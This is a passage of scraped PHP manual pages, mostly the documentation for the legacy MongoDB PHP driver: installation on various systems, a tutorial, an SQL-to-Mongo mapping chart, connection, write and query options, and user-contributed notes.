$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

/* a remarkable city in Wales */
$query = "INSERT INTO temp.mycity (zip, name) VALUES('11111',
       'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

$maxdb->query($query);

printf ("Number of warning: %d\n", $maxdb->warning_count);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

/* a remarkable long city name in Wales */
$query = "INSERT INTO temp.mycity (zip, name) VALUES('11111',
       'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

maxdb_query($link, $query);

printf ("Number of warning: %d\n", maxdb_warning_count($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_query(): -8004 POS(62) Constant must be compatible with column type and length <...>
Number of warning: 0

See Also

  • maxdb_errno() - Returns the error code for the most recent function call
  • maxdb_error() - Returns a string description of the last error
  • maxdb_sqlstate() - Returns the SQLSTATE error from previous MaxDB operation

User Contributed Notes

There are no user contributed notes for this page.
maxdb_use_result
Mongo
MaxDB Functions


MongoDB Native Driver

  • Manual
    • Installation
    • Tutorial
    • SQL to Mongo Mapping Chart
    • Connecting
    • Writes
    • Querying
    • Updates
    • php.ini Options
    • Security
    • Troubleshooting
    • Running the Driver's Tests
  • Core Classes
    • Mongo — The Mongo class
    • MongoDB — The MongoDB class
    • MongoCollection — The MongoCollection class
    • MongoCursor — The MongoCursor class
  • Types
    • MongoId — The MongoId class
    • MongoCode — The MongoCode class
    • MongoDate — The MongoDate class
    • MongoRegex — The MongoRegex class
    • MongoBinData — The MongoBinData class
    • MongoInt32 — The MongoInt32 class
    • MongoInt64 — The MongoInt64 class
    • MongoDBRef — The MongoDBRef class
    • MongoMinKey — The MongoMinKey class
    • MongoMaxKey — The MongoMaxKey class
    • MongoTimestamp — The MongoTimestamp class
  • GridFS Classes
    • MongoGridFS — The MongoGridFS class
    • MongoGridFSFile — The MongoGridFSFile class
    • MongoGridFSCursor — The MongoGridFSCursor class
  • Miscellaneous
    • MongoLog — The MongoLog class
    • MongoPool — The MongoPool class
  • Functions
    • Mongo Functions
  • Exceptions
    • MongoException — The MongoException class
    • MongoCursorException — The MongoCursorException class
    • MongoCursorTimeoutException — The MongoCursorTimeoutException class
    • MongoConnectionException — The MongoConnectionException class
    • MongoGridFSException — The MongoGridFSException class

User Contributed Notes

mike at eastghost dot com 09-Nov-2011 04:13
Just stepped up from 1.1.3 of the php driver to 1.2.6.  Wow, big improvement.  Logfile paucity shows the connection pooling / persistence is working, and noticeable speed improvements (page load times cut 10% to 30%) all around show dev is on the right track.  Kudos.
maxdb_warning_count
Manual
Vendor Specific Database Extensions


Manual

Table of Contents

  • Installation
  • Tutorial
  • SQL to Mongo Mapping Chart
  • Connecting
  • Writes
  • Querying
  • Updates
  • php.ini Options
  • Security
  • Troubleshooting
  • Running the Driver's Tests

This manual goes into some detail about how to use MongoDB, but it mostly covers using the PHP driver. For information about how to design a schema, what terms means, and setting up the database server, check out the » MongoDB documentation.

User Contributed Notes

There are no user contributed notes for this page.
Mongo
Installation
Mongo


Installation

The MongoDB PHP driver should work on nearly any system: Windows, Mac OS X, Unix, and Linux; little- and big-endian machines; 32- and 64-bit machines; PHP 5.1, 5.2, and 5.3.

This » PECL extension is not bundled with PHP. This page gives more specific information on installing on different systems and troubleshooting issues users have run into.

  • » Installing on *NIX

  • » Manual Installation

  • » OS X

  • » Gentoo

  • » Fedora

  • » Installing on Windows

  • » Third-Party Installation Instructions

Installing on *NIX

Run:

$ sudo pecl install mongo

If you are using CentOS or Redhat, Csoke Arpad created » RPMs for these distributions.

Add the following line to your php.ini file:

extension=mongo.so

If pecl runs out of memory while installing, make sure memory_limit in php.ini is set to at least 32MB.

Manual Installation

For driver developers and people interested in the latest bugfixes, you can compile the driver from the latest source code on » Github. Go to Github and click the "download" button. Then run:

$ tar zxvf mongodb-mongodb-php-driver-<commit_id>.tar.gz
$ cd mongodb-mongodb-php-driver-<commit_id>
$ phpize
$ ./configure
$ sudo make install

Make the following changes to php.ini:

  • Make sure the extension_dir variable is pointing to the location of mongo.so. The build will display where it is installing the PHP driver with output that looks something like:

      Installing '/usr/lib/php/extensions/no-debug-zts-20060613/mongo.so'
    Make sure that it is the same as the PHP extension directory by runnning:

      $ php -i | grep extension_dir
        extension_dir => /usr/lib/php/extensions/no-debug-zts-20060613 =>
      /usr/lib/php/extensions/no-debug-zts-20060613
    If it's not, change the extension_dir in php.ini or move mongo.so.

  • To load the extension on PHP startup, add a line:

      extension=mongo.so

OS X

If your system is unable to find autoconf, you'll need to install Xcode (available on your installation DVD or as a free download from the Apple website).

If you are using XAMPP, you may be able to compile the driver with the following command:

sudo /Applications/XAMPP/xamppfiles/bin/pecl install mongo

If you are using MAMP (or XAMPP and the above command does not work), precompiled binaries are available from » Github (download the latest one with "osx" in the name that matches your version of PHP). Extract mongo.so from the archive and add it to MAMP or XAMPP's extension directory. Add

      extension=mongo.so
to the php.ini file being used and restart the server.

Gentoo

Gentoo has a package for the PHP driver called dev-php5/mongo, which can be installed with:

$ sudo emerge -va dev-php5/mongo

If you use PECL, you may get an error that libtool is the wrong version. Compiling from source you'll need to run aclocal and autoconf.

$ phpize && aclocal && autoconf && ./configure && make && make install

Red Hat

This includes Fedora and CentOS.

The default Apache settings on these systems do not let requests make network connections, meaning that the driver will get "Permission denied" errors when it tries to connect to the database. If you run into this, try running:

$ /usr/sbin/setsebool -P httpd_can_network_connect 1
Then restart Apache. (This issue has also occurred with SELinux.)

Installing on Windows

Precompiled binaries for each release are available from » Github for a variety of combinations of versions, thread safety, and VC libraries. Unzip the archive and put php_mongo.dll in your PHP extension directory ("ext" by default).

The latest (non-release) code is compiled into Windows binaries on every commit. The zip consists of a .zip with php_mongo.dll and a version.txt. Please keep the version.txt around so that if you have a question or problem, you can give the developers the exact version you're using. (The number is long and nonsensical, but it will make sense to the developers!)

To get the latest bug fixes (and possibly bugs), download the binary corresponding to the PHP you have installed:

  • » PHP 5.2 VC6 Non-Thread-Safe Mongo extension

  • » PHP 5.2 VC6 Thread-Safe Mongo extension

  • » PHP 5.3 VC6 Non-Thread-Safe Mongo extension

  • » PHP 5.3 VC6 Thread-Safe Mongo extension

  • » PHP 5.3 VC8 Non-Thread-Safe Mongo extension

  • » PHP 5.3 VC8 Thread-Safe Mongo extension

  • » PHP 5.3 VC9 Non-Thread-Safe Mongo extension

  • » PHP 5.3 VC9 Thread-Safe Mongo extension

Add the following line to your php.ini file:

extension=php_mongo.dll

Third-Party Installation Instructions

A number of people have created excellent tutorials on installing the PHP driver.

  • » PHP 5.3.1 with Xdebug, MongoDB and Lithium on Ubuntu 9.10 / Apache 2.2

    An excellent video that takes you step-by-step through installing Apache, PHP, Xdebug, MongoDB, and Lithium by Jon Adams.

  • » Installing MongoDB and the PHP driver on Ubuntu 9.04

    Spanish article by Javier Aranda (» English translation).

  • » OS X: Installing MongoDB and the PHP Mongo Driver

    By Matt Butcher.

User Contributed Notes

enzo at smshome dot net 10-Aug-2011 08:49
There is no php_mongo.dll for x64 PHP. PHP doesn't load pre-compiled version (error: "%1 is not a valid Win32 application")
tiago dot braga at gmail dot com 08-Aug-2011 09:04
In Windows running IIS the directory to instal is "C:\Program Files\PHP\ext". Than you have to install the apropriate MongoDriver version (in my case was mongo-1.1.4-php5.3vc9) and than Restart IIS.

The MongoDB Driver will be available.
rishi at plavaga dot in 27-Jun-2011 01:25
I am using XAMPP 1.7.4 (32 bit) on Windows 7. Though it was mentioned that Apache uses a non-threadsafe version of DLL, when used, it was giving me the below error:

PHP Warning:  PHP Startup: Unable to load dynamic library
Warning:  PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_mongo.dll' - The specified module could not be found.

I had to use the thread-safe version (mongo-1.1.4.zip\mongo-1.1.4-php5.3vc6ts\php_mongo.dll) to get it working.
Andrey 01-Jun-2011 04:54
On windows installation check for VC compilator version inside phpinfo(), if you install incorrect one it wouldn't work.
I tried to run on Apache2 with VC6, and always get folowing error:

Fatal error: Class 'Mongo' not found

Until I look into phpinfo and found MSVC9, after that
I install VC9 dll files and it solve the problem.
poorpuer at gmail dot com 26-Oct-2010 08:26
If you're running IIS under Windows 7 and have PHP manager installed you'll also need to manually enable the extension. Start IIS Manager, select PHP Manager, under the section labeled PHP Extensions click on Enable or disable an extension, then enable the php_mongo.dll extension, and restart IIS.
Anonymous 12-Mar-2010 10:41
I was only able to solve an xmapp install problem by accessing the cached version of this page - which was at the time hosted at mongo.

in the comments someone said

Setup on XAMPP
Install the Developer package for XAMPP
Make sure the the Apple Developer Tools are installed
!!!Edit your php.ini file with extension=mongo. For some reason, the build did not work until I did that.
if XAMPP install in your Application folder, run sudo /Applications/XAMPP/xamppfiles/bin/pecl install mongo
Restart XAMPP

which worked.

using the github packages it ended up being compiled with different versions of whatever and then threw an error in the log and wasnt included.
cap at unagon dot com 26-Feb-2010 01:52
For Debian users: apt-get install php5-dev will install phpize for you.
Manual
Tutorial
Manual


Tutorial

Introduction

This is the 10gen-supported PHP driver for MongoDB.

Here's a quick code sample that connects, inserts documents, queries for documents, iterates through query results, and disconnects from MongoDB. There are more details on each step in the tutorial below.

<?php

// connect
$m = new Mongo();

// select a database
$db = $m->comedy;

// select a collection (analogous to a relational database's table)
$collection = $db->cartoons;

// add a record
$obj = array( "title" => "Calvin and Hobbes", "author" => "Bill Watterson" );
$collection->insert($obj);

// add another record, with a different "shape"
$obj = array( "title" => "XKCD", "online" => true );
$collection->insert($obj);

// find everything in the collection
$cursor = $collection->find();

// iterate through the results
foreach ($cursor as $obj) {
    echo $obj["title"] . "\n";
}

?>

This would output:

Calvin and Hobbes
XKCD

Making a Connection

To connect to the database server, use one of the following:

<?php

$connection = new Mongo(); // connects to localhost:27017
$connection = new Mongo( "example.com" ); // connect to a remote host (default port: 27017)
$connection = new Mongo( "example.com:65432" ); // connect to a remote host at a given port

?>

You do not have to explicitly disconnect from the database. When $connection goes out of scope, the connection will be closed automatically and any database resources it was using will be freed.

See Also

The chapter on connecting covers different types of connections.

The API documentation on the Mongo class and Mongo::__construct() give a comprehensive look at all possible options with a number of examples.

Getting a Database

To select a database, use:

<?php

$db = $connection->dbname;

?>

The database does not need to be created in advance, you can create new databases by selecting them.

Be careful of typos! You can inadvertently create a new database, which can cause confusing errors:

<?php

$db = $connection->mybiglongdbname;
// do some stuff
$db = $connection->mybiglongdbanme;
// now connected to a different database!

?>

See Also

The API documentation on the MongoDB class contains more information about database objects.

Getting A Collection

Getting a collection has the same syntax as getting a database:

<?php

$db = $connection->baz;
$collection = $db->foobar;

// or, more succinctly
$collection = $connection->baz->foobar;

?>

A collection is analogous to a table (if you are familiar with relational databases).

See Also

The API documentation on the MongoCollection class contains more information about collection objects.

Inserting a Document

Associative arrays are the basic object that can be saved to a collection in the database. A somewhat random "document" might be:

<?php

$doc = array( "name" => "MongoDB",
   "type" => "database",
   "count" => 1,
   "info" => (object)array( "x" => 203, "y" => 102),
   "versions" => array("0.9.7", "0.9.8", "0.9.9")
);

?>

Note that you can have nested arrays and objects.

To insert this document, use MongoCollection::insert():

<?php

$collection->insert( $doc );

?>

See Also

The API documentation on MongoCollection::insert() contains more information about inserting data.

Finding Documents using MongoCollection::findOne()

To show that the document we inserted in the previous step is there, we can do a simple MongoCollection::findOne() operation to get a single document from the collection. This method is useful when there only is one document matching the query or you are only interested in one result.

<?php

$obj = $collection->findOne();
var_dump( $obj );

?>

This should print:

array(6) {
  ["_id"]=>
  object(MongoId)#8 (1) {
    ["$id"]=>
    string(24) "4e2995576803fab768000000"
  }
  ["name"]=>
  string(7) "MongoDB"
  ["type"]=>
  string(8) "database"
  ["count"]=>
  int(1)
  ["info"]=>
  array(2) {
    ["x"]=>
    int(203)
    ["y"]=>
    int(102)
  }
  ["versions"]=>
  array(3) {
    [0]=>
    string(5) "0.9.7"
    [1]=>
    string(5) "0.9.8"
    [2]=>
    string(5) "0.9.9"
  }
}

Note that there is an _id field that has been added automatically to your document. _id is the "primary key" field. If your document does not specify one, the driver will add one automatically.

If you specify your own _id field, it must be unique to the collection. See the example here:

<?php

$db->foo->insert(array("_id" => 1), array("safe" => true));
// this will throw an exception
$db->foo->insert(array("_id" => 1), array("safe" => true));

// this is fine, as it is a different collection
$db->bar->insert(array("_id" => 1), array("safe" => true));

?>

Note that these inserts pass a second array: array("safe" => true). This second field specifies options for the insert. By default, the driver does not wait for a database response for writes, so the driver would not catch the the _id. As we specify that this is a "safe" write, the driver will wait for a database response and see that the write did not go through. In general, all writes should use the "safe" option (it is omitted in previous examples for simplicity).

See Also

MongoCollection::findOne() for more information about finding data.

MongoId goes into more detail on unique ids.

The writes section covers safe
writes in more depth, as do the writing functions such as
MongoCollection::insert(),
MongoCollection::update(), and
MongoCollection::remove().

Adding Multiple Documents

In order to do more interesting things with queries, let's add multiple simple documents to the collection. These documents will just be of the form array( "i" => value ); and we can do this fairly efficiently in a loop:

<?php

for($i=0; $i<100; $i++) {
    $collection->insert( array( "i" => $i ) );
}

?>

Notice that we can insert arrays with different key sets into the same collection. This aspect is what we mean when we say that MongoDB is "schema-free".

Counting Documents in A Collection

Now that we've inserted 101 documents (the 100 we did in the loop, plus the first one), we can check to see if we have them all using the MongoCollection::count() method.

<?php

echo $collection->count();

?>
and it should print 101.

Using a Cursor to Get All of the Documents

In order to get all the documents in the collection, we will use MongoCollection::find(). The find() method returns a MongoCursor object which allows us to iterate over the set of documents that matched our query. So to query all of the documents and print them out:

<?php

$cursor = $collection->find();
foreach ($cursor as $id => $value) {
    echo "$id: ";
    var_dump( $value );
}

?>
and that should print all 101 documents in the collection. $id is the _id field of a document (cast to a string) and $value is the document itself.

See Also

The API documentation on MongoCollection::find() contains more information about finding data.

Setting Criteria for a Query

We can create a query to pass to the MongoCollection::find() method to get a subset of the documents in our collection. For example, if we wanted to find the document for which the value of the "i" field is 71, we would do the following:

<?php

$query = array( "i" => 71 );
$cursor = $collection->find( $query );

while( $cursor->hasNext() ) {
    var_dump( $cursor->getNext() );
}

?>

and it should just print just one document:

array(2) {
  ["_id"]=>
  object(MongoId)#6 (0) {
  }
  ["i"]=>
  int(71)
  ["_ns"]=>
  "testCollection"
}

Getting A Set of Documents With a Query

We can use the query to get a set of documents from our collection. For example, if we wanted to get all documents where "i" > 50, we could write:

<?php

$query = array( "i" => array( '$gt' => 50 ) ); //note the single quotes around '$gt'
$cursor = $coll->find( $query );

while( $cursor->hasNext() ) {
    var_dump( $cursor->getNext() );
}

?>

which should print the documents where i > 50. We could also get a range, say 20 < i <= 30:

<?php

$query = array( "i" => array( "\$gt" => 20, "\$lte" => 30 ) );
$cursor = $coll->find( $query );

while( $cursor->hasNext() ) {
    var_dump( $cursor->getNext() );
}

?>

Remember to always escape the $-symbol or use single quotes. Otherwise PHP will interpret it to be the variable $gt.

Creating An Index

MongoDB supports indexes, and they are very easy to add on a collection. To create an index, you specify the field name and direction: ascending (1) or descending (-1). The following creates an ascending index on the "i" field:

<?php

$coll->ensureIndex( array( "i" => 1 ) );  // create index on "i"
$coll->ensureIndex( array( "i" => -1, "j" => 1 ) );  // index on "i" descending, "j" ascending

?>

Indexing is critical for good read performance as your data grows. If you are not familiar with indexing, check out the MongoCollection::ensureIndex() documentation and the core » MongoDB indexing documentation.

User Contributed Notes

Josh Heidenreich 08-Dec-2010 10:28
If you are getting "writing more" shown at random places on the screen, it's a MongoDB connector bug in 1.0.5.

Bug report: http://jira.mongodb.org/browse/PHP-91

Update to the latest connector driver and it should go away.
Soldair 09-Jun-2010 02:57
please note that if you need to re-index a numeric array after and unset by offset and preserve order array_merge with only one argument will output an array keyed sequentially
<?php
$arr = array(1,2,3,4,5);
unset($arr[2]);
var_dump($arr);

$arr = array_merge($arr);
var_dump($arr);
?>
--output--
array(4) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [3]=>
  int(4)
  [4]=>
  int(5)
}

array(4) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(4)
  [3]=>
  int(5)
}
php at whoah dot net 24-Apr-2010 10:57
Make sure array keys consecutive before inserting. As of 1.0.6 driver, the following will end up as an object of key:value pairs, instead of an array, because it's trying to maintain the 0 and 2 keys:

$array = array('a', 'b', 'c');
unset($array[1]);

$document = array(
'embedded' => $array,
);

// assuming local
$mongo = new Mongo();
$mongo->test->test->insert($document);

mongodb result:
{ "_id" : ObjectId(...), "embedded" : { "0" : "a", "2" : "c" } }

This is bad if you plan on indexing the embedded property as an array because objects and arrays are indexed differently.

Whether the behaviour will change or not, this is logged here: http://jira.mongodb.org/browse/PHP-104

If you know about it, it's not major, just use a sort() before inserting, or use array_* methods to remove elements instead of unset() -- anything that will re-adjust keys.
Installation
SQL to Mongo Mapping Chart
Manual


SQL to Mongo Mapping Chart

This is a PHP-specific version of the » SQL to Mongo mapping chart in the main docs.

SQL Statement | Mongo Query Language Statement
CREATE TABLE USERS (a Number, b Number) | Implicit or use MongoDB::createCollection().
INSERT INTO USERS VALUES(1,1) | $db->users->insert(array("a" => 1, "b" => 1));
SELECT a,b FROM users | $db->users->find(array(), array("a" => 1, "b" => 1));
SELECT * FROM users WHERE age=33 | $db->users->find(array("age" => 33));
SELECT a,b FROM users WHERE age=33 | $db->users->find(array("age" => 33), array("a" => 1, "b" => 1));
SELECT a,b FROM users WHERE age=33 ORDER BY name | $db->users->find(array("age" => 33), array("a" => 1, "b" => 1))->sort(array("name" => 1));
SELECT * FROM users WHERE age>33 | $db->users->find(array("age" => array('$gt' => 33)));
SELECT * FROM users WHERE age<33 | $db->users->find(array("age" => array('$lt' => 33)));
SELECT * FROM users WHERE name LIKE "%Joe%" | $db->users->find(array("name" => new MongoRegex("/Joe/")));
SELECT * FROM users WHERE name LIKE "Joe%" | $db->users->find(array("name" => new MongoRegex("/^Joe/")));
SELECT * FROM users WHERE age>33 AND age<=40 | $db->users->find(array("age" => array('$gt' => 33, '$lte' => 40)));
SELECT * FROM users ORDER BY name DESC | $db->users->find()->sort(array("name" => -1));
CREATE INDEX myindexname ON users(name) | $db->users->ensureIndex(array("name" => 1));
CREATE INDEX myindexname ON users(name,ts DESC) | $db->users->ensureIndex(array("name" => 1, "ts" => -1));
SELECT * FROM users WHERE a=1 and b='q' | $db->users->find(array("a" => 1, "b" => "q"));
SELECT * FROM users LIMIT 10 SKIP 20 | $db->users->find()->limit(10)->skip(20);
SELECT * FROM users WHERE a=1 or b=2 | $db->users->find(array('$or' => array(array("a" => 1), array("b" => 2))));
SELECT * FROM users LIMIT 1 | $db->users->find()->limit(1);
EXPLAIN SELECT * FROM users WHERE z=3 | $db->users->find(array("z" => 3))->explain()
SELECT DISTINCT last_name FROM users | $db->command(array("distinct" => "users", "key" => "last_name"));
SELECT COUNT(*y) FROM users | $db->users->count();
SELECT COUNT(*y) FROM users where AGE > 30 | $db->users->find(array("age" => array('$gt' => 30)))->count();
SELECT COUNT(AGE) from users | $db->users->find(array("age" => array('$exists' => true)))->count();
UPDATE users SET a=1 WHERE b='q' | $db->users->update(array("b" => "q"), array('$set' => array("a" => 1)));
UPDATE users SET a=a+2 WHERE b='q' | $db->users->update(array("b" => "q"), array('$inc' => array("a" => 2)));
DELETE FROM users WHERE z="abc" | $db->users->remove(array("z" => "abc"));

User Contributed Notes

There are no user contributed notes for this page.
Tutorial
Connecting
Manual


Connecting

Connecting to MongoDB can be as easy as new Mongo, but there are many additional options and configurations. The Mongo::__construct() page covers all of the API options, but this page gives some more details and advice for practical use cases.

Logging In on Connection

If MongoDB is started with the --auth or --keyFile options, you must log in before you can do any operations with the driver. You can log in on connection by supplying the username and password in the connection URI:

<?php

$m = new Mongo("mongodb://${username}:${password}@localhost");

?>

If your connection is dropped, the driver will automatically attempt to reconnect and reauthenticate you.

You can also authenticate on a per-database level with MongoDB::authenticate():

<?php

$m = new Mongo();
$db = $m->admin;

$db->authenticate($username, $password);

?>

There is a major disadvantage to this method: if the connection is dropped and then reconnects, the new connection will not be authenticated. If you use the URI format, the PHP driver will automatically authenticate the user whenever a new connection is made.

To authenticate with a different database, specify the database name after the hosts. This example will log the user into the "blog" database:

<?php

$m = new Mongo("mongodb://${username}:${password}@localhost/blog");

?>

Replica Sets

To connect to a replica set, specify one or more members of the set and use the replicaSet option.

<?php

$m = new Mongo("mongodb://localhost:27017", array("replicaSet" => "myReplSetName"));

?>

Version 1.0.9+ of the driver is required to connect to a replica set (earlier versions of the driver will not autodetect the master or reconnect correctly).

The PHP driver will query the database server(s) listed to figure out who is master. So long as it can connect to at least one host listed and find a master, the connection will succeed. If it cannot make a connection to any servers listed or cannot find a master, a MongoConnectionException will be thrown.

If the master becomes unavailable, the slaves will not promote a new master for a few seconds. During that time, this connection will not be able to perform any database operations (connections to slaves will still be able to perform reads). Thus, if you attempt to do any sort of read or write on this connection, it will throw an exception.

Once a master is elected, attempting to perform a read or write will allow the driver to detect the new master. The driver will make this its primary database connection and continue operating normally.

For more information on replica sets, see the » core documentation.

Domain Socket Support

If you are running MongoDB locally and have version 1.0.9 or better of the driver, you can connect to the database via file. MongoDB automatically opens a socket file on startup: /tmp/mongodb-<port>.sock.

To connect to the socket file, specify the path in your MongoDB connection string:

<?php

$m = new Mongo("mongodb:///tmp/mongo-27017.sock");

?>

If you would like to use authentication on connection (as described above) with a socket file, you must specify a port of 0 so that the connection string parser knows where the end of the connection string is.

<?php

$m = new Mongo("mongodb://username:password@/tmp/mongo-27017.sock:0/foo");

?>

Connection Pooling (version 1.2.0+)

Creating connections is one of the most heavyweight things that the driver does. It can take hundreds of milliseconds to set up a connection correctly, even on a fast network. Thus, the driver tries to minimize the number of new connections created by reusing connections from a pool.

When a user creates a new instance of Mongo, all necessary connections will be taken from their pools (replica sets may require multple connections, one for each member of the set). When the Mongo instance goes out of scope, the connections will be returned to the pool. When the PHP process exits, all connections in the pools will be closed.

"Why do I have so many open connections?"

Connection pools can generate a large number of connections. This is expected and, using a little arithmetic, you can figure out how many connections to expect. There are three factors in the total number of connections:

  • connections_per_pool

    Each connection pool will create, by default, an unlimited number of connections. One might assume that this is a problem: if it can create an unlimited number of connections, couldn't it create thousands and the server would run out of file descriptors? In practice, this is unlikely, as unused connections are returned to the pool to be used later, so future connections will use the same connection instead of creating a new one. Unless you create thousands of connections at once without letting any go out of scope, the number of connections open should stay at a reasonable number.

    You can see how many connections you have in a pool using the MongoPool::info() function. Add up the "in use" and "in pool" fields for a given server. That is the total number of connections for that pool.

  • pools_per_process

    Each MongoDB server address you're connecting to gets its own connection pool. For example, if your local hostname is "example.net", connecting to "example.net:27017", "localhost:27017", and "/tmp/mongodb-27017.sock" will create three connection pools. You can see how many connection pools you have open using MongoPool::info().

  • processes

    Each PHP process has a separate set of pools. PHP-FPM and Apache generally create between 6 and a couple dozen PHP worker children. Check your settings to see what the max number of PHP processes is that can be spawned.

    If you are using PHP-FPM, estimating the number of connections can be tricky because it will spawn more PHP-FPM workers under heavy load. To be on the safe side, look at the max_children parameter or add up spare_servers+start_servers (choose whichever number is higher). That's how many PHP processes (and, thus sets of pools) you should plan for.

The three variables above can be multiplied together to give the max number of connections expected: connections_per_pool*pools_per_process*processes. Note that connections_per_pool can be different for different pools, so connections_per_pool should be the max.

For example, suppose we're getting 30 connections per pool, 10 pools per PHP process, and 128 PHP processes. Then we can expect 38400 connections from this machine. Thus, we should set this machine's file descriptor limit to be high enough to handle all of these connections or it may run out of file descriptors.

See MongoPool for more information on connection pooling.

Persistent Connections

Note:

This section is not relevant for 1.2.0+. In 1.2.0+, connections are always persistent and managed automatically by the driver. See MongoPool for more information on pooling.

Creating new connection to the database is very slow. To minimize the number of connections that you need to make, you can use persistent connections. A persistent connection is saved by PHP, so you can use the same connection for multiple requests.

For example, this simple program connects to the database 1000 times:

<?php

for ($i=0; $i<1000; $i++) {
  $m = new Mongo();
}

?>

It takes approximately 18 seconds to execute. If we change it to use a persistent connection:

<?php

for ($i=0; $i<1000; $i++) {
  $m = new Mongo("localhost:27017", array("persist" => "x"));
}

?>

...it takes less than .02 seconds to execute, as it only makes one database connection.

Persistent connections need an identifier string (which is "x" in the above example) to uniquely identify them. For a persistent connection to be used, the hostname, port, persist string, and username and password (if given) must match an existing persistent connection. Otherwise, a new connection will be created with this identifying information.

Persistent connections are highly recommended and should always be used in production unless there is a compelling reason not to. Most of the reasons that they are not recommended for relational databases are irrelevant to MongoDB.

User Contributed Notes

Bowser 10-Dec-2010 02:33
It is very important to suggest those ones using the form
$m = new Mongo("mongodb://${username}:${password}@host");
to put it into a try{} construct for security reasons.
In fact in case of mongoDB isn't accessible for any reason if PHP.ini's options is setted for displaying errors (the default setting), it will show up with the exception's error (MongoConnectionException) even the couple username/password of the database and this is really not a good thing.
SQL to Mongo Mapping Chart
Writes
Manual


Writes

Safe Operations

By default, the driver does not wait for a database response to writes (inserts, updates, and deletes). This means that writes can be performed extremely quickly, but you don't know whether or not they actually succeeded. Writes can fail for a number of reasons: if there are network problems, if a database server goes down, or if the write was simply invalid (e.g., writing to a system collection).

To get a response from the database, use the safe option, available for all types of writes. This option will make sure that the database has the write before returning success. If the write failed, it will throw a MongoCursorException() with an explanation of the failure.

While developing, you should always use safe writes (to protect against inadvertent mistakes, such as duplicate key errors and similar). In production, unsafe writes can be used for "unimportant" data. Unimportant data varies on application, but it's generally automatically (instead of user generated) data, such as click tracking or GPS locations, where you can get thousands of records per second.

To safely perform writes without incurring too large a performance penalty, it is recommended that you do a safe write at the end of a series of writes. For example:

<?php
$collection->insert($someDoc);
$collection->update($criteria, $newObj);
$collection->insert($somethingElse);
$collection->remove($something, array("safe" => true));
?>

Then, if the last write throws an exception, you know that there's a problem with your database.

There are a few other options available to ensure the safety of writes. You can specify "fsync" => true to force the database to fsync all writes up to this point to disk (by default, MongoDB fsyncs writes once per minute).

The safest way of doing a write is to use replication and specify the number of servers that must have this write before returning success. (You should always use replication in production, see the Connecting section for more information on replica sets.)

<?php
$collection->insert($someDoc, array("safe" => 3));
?>

If you specify "safe" => N, the MongoDB server will make sure that at least N servers have a copy of the write before returning success. So, if N is 3, the master and two slaves must have the write.

Updating Nested Objects

Suppose we wish to change the name of a comment's author in this document:

{
    "_id" : ObjectId("4b06c282edb87a281e09dad9"),
    "content" : "this is a blog post.",
    "comments" :
    [
        {
            "author" : "Mike",
            "comment" : "I think that blah blah blah...",
        },
        {
            "author" : "John",
            "comment" : "I disagree."
        }
    ]
}
In order to change an inner field, we use $set (so that all of the other fields are not removed!) with the index of comment to change:
<?php

$blog->update($criteria, array('$set' => array("comments.1" => array("author" => "Jim"))));

?>

The Positional Operator

The positional operator $ is useful for updating objects that are in arrays. In the example above, for instance, suppose that we did not know the index of the comment that we needed to change, merely that we needed to change "John" to "Jim". We can use $ to do so.

<?php

$blog->update(
    array("comments.author" => "John"),
    array('$set' => array('comments.$.author' => "Jim")));

?>

User Contributed Notes

There are no user contributed notes for this page.
Connecting
Querying
Manual


Querying

Distributing queries to slaves

Note: 1.1.0+

If you are using a » replica set and version 1.1.0 or above of the driver, the driver can automatically route reads to slaves. This behavior does not exist in earlier versions of the driver and cannot be used with "normal" master-slave.

By default, the driver will send all queries to the master. If you set the "slaveOkay" option, the driver will send all queries to a non-primary server, if possible. The "slaveOkay" option can be set at every "level": connection, database, collection, and cursor. Each class inherits the "slaveOkay" setting from the class above it, so if you do:

<?php

$db->setSlaveOkay(true);
$c = $db->myCollection;

$cursor = $c->find();

?>

then the query will be executed against a slave (the collection inherited "slaveOkay" from the database and the cursor inherited it from the collection).

How slaves are chosen

Each instance of Mongo chooses its own slave using the available slave with the lowest ping time. So, if we had a PHP client in Europe and one in Australia and we had one secondary in each of these data centers, we could do:

<?php

// P is the primary

// on the Australian client
$m1 = new Mongo("mongodb://P", array("replicaSet" => true));
$m1->foo->bar->find()->slaveOkay()->getNext();
echo "m1's slave is ".$m1->getSlave()."\n";

// on the European client
$m2 = new Mongo("mongodb://P", array("replicaSet" => true));
$m2->foo->bar->find()->slaveOkay()->getNext();
echo "m2's slave is ".$m2->getSlave()."\n";

?>

we'd probably end up with something like:

m1's slave is: australianHost
m2's slave is: europeanHost

Note that we have to do a query before a slave is chosen: slaves are chosen lazily by the driver. Mongo::getSlave() will return NULL until a slave is used.

You can see what the driver thinks is the current status of the set members by running Mongo::getHosts().

If no non-primary server is readable, the driver will send reads to the primary (even if "slaveOkay" is set). A server is considered readable if its state is 2 (SECONDARY) and its health is 1. You can check this with Mongo::getHosts().

If you enjoy twiddling knobs that you probably shouldn't mess with, you can request the driver to use a different slave by calling Mongo::switchSlave(). This may choose a new slave (if one is available) and shouldn't be used unless you know what you're doing.

Random notes

Writes are always sent to the primary. Database commands, even read-only commands, are also always sent to the primary.

The health and state of a slave is checked every 5 seconds or when the next operation occurs after 5 seconds. It will also recheck the configuration when the driver has a problem reaching a server.

Note that a non-primary server may be behind the primary in operations, so your application must be okay with getting out-of-date data (or you must use w for all writes).

Querying by _id

Every object inserted is automatically assigned a unique _id field, which is often a useful field to use in queries.

Suppose that we wish to find the document we just inserted. Inserting adds and _id field to the document, so we can query by that:

<?php

$person = array("name" => "joe");

$people->insert($person);

// now $joe has an _id field
$joe = $people->findOne(array("_id" => $person['_id']));

?>

